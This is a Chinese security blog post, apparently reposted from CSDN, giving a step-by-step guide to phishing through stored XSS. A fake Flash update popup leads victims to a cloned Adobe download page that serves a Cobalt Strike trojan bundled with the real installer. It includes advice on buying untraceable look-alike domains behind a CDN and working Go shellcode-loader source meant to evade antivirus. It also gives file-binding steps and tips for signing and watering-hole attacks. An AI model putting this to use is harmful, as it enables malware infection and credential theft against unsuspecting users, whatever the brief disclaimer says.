网络攻防|XSS Flash弹窗钓鱼

作者: Overture
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

xss弹出flash更新是一种常见的钓鱼手法,本文介绍一下整体思路和部分技术细节。

注意:任何未经授权的渗透都是违法行为,本文仅用于技术讨论,切勿用于违法途径

前期准备

服务器及域名
flash页面
免杀木马
前提条件:目标网站存在存储型xss漏洞或者已经getshell能够修改源码,通过请求你插入的js代码触发flash升级弹窗,跳转到准备好的flash下载界面下载安装,触发木马上线cs。

0x01 服务器及域名

服务器任意注册即可,域名注册及CDN可参考我上篇文章 如何让自己的CobaltStrike服务器隐匿 ,最好选择未备案域名,以防溯源。可以到godaddy或者hostinger注册便宜的域名,可以选择一些与项目相关或者高可信度的域名。

本文中可以选择带有adobe或flash等字符的域名,如下图所示:
在这里插入图片描述
建议使用cloudflare的CDN,设置DNS生效后在SSL/TLS中创建证书并下载保存。
在这里插入图片描述
在服务器中安装lnmp直接创建vhost主机:
在这里插入图片描述
添加证书:
在这里插入图片描述
此处选择1选项使用我们自己准备好的SSL证书和key。
在这里插入图片描述
回车创建vhost。

0x02 flash钓鱼页面

这一步需要flash的弹窗和网页源码,github上有很多,例如:
弹窗代码:Flash钓鱼弹窗版

网站源码:Xss之Flash钓鱼全套

还有很多其他类似的项目大家可以自己探索,不过现在flash cn网站的样式已经更新了:
在这里插入图片描述
为了进一步增加可信度,可以直接扒官网的源码稍作修改就可以了,下载源码的方法这里不再赘述。

将代码上传到网站目录下,重启nginx服务即可访问到钓鱼页面。

0x03 免杀木马

3.1 生成木马

互联网上知名的免杀方案有很多,比如工具免杀:msf自免杀、Veil、Venom,代码免杀:C/C++、C#、python、powershell、go等,大家可以按照免杀效果或各自喜好来进行选择,这里为了方便演示使用go的加载器进行测试。

package main

import (
    "encoding/base64"
    "fmt"
    "os"
    "syscall"
    "unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    
    
    ret, _, _ := procVirtualProtect.Call(
        uintptr(lpAddress),
        uintptr(dwSize),
        uintptr(flNewProtect),
        uintptr(lpflOldProtect))
    return ret > 0
}

func Run(sc []byte) {
    
    

    f := func() {
    
    }

    // Change permissions on f function ptr
    var oldfperms uint32
    if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
    
    
        panic("Call to VirtualProtect failed!")
    }

    // Override function ptr
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

    // Change permissions on shellcode string data
    var oldshellcodeperms uint32
    if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
    
    
        panic("Call to VirtualProtect failed!")
    }

    // Call the function ptr it
    f()
}

编译生成scloader.exe

3.2 捆绑木马

使用NimFileBinder捆绑木马和flash安装程序

在官网下载nim文件,点击文件夹中的finish.exe程序,会自动安装MingW。
在这里插入图片描述
在这里插入图片描述
直接编译会报错:
在这里插入图片描述
使用nimble install安装对应的模板即可(需要git)

编译完成后出现nimfilebender.exe文件。
在这里插入图片描述
在这里插入图片描述
随后即可将免杀好的exe文件和想要捆绑的文件放在nim安装目录下的bin文件夹下。并输入命令Nimfilebender.exe xx.exe xx.exe testkey即可将文件捆绑。
在这里插入图片描述

3.3 测试

将文件改名并上传到服务器web目录下,从网页访问下载测试
在这里插入图片描述
在这里插入图片描述
点击exe文件,会自动删除exe文件并弹出flash安装程序,且exe文件已经运行并自动保存到c盘windows目录下的temp文件夹。
在这里插入图片描述
成功上线!

0x04 总结

以上就是关于xss flash弹窗钓鱼的相关内容,因为时间问题整体步骤比较简陋,后续可以考虑从几个方面进行优化:
木马图标修改及签名
弹窗逻辑调整
cs上线自动收杆

关于xss 钓鱼还有很多方式,这里只是其中一种,当然也可以利用此方法进行水坑攻击等,这就是各位师傅需要根据项目环境进行改变。
文中如有错误,欢迎各位师傅指正!

0x05 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/121342064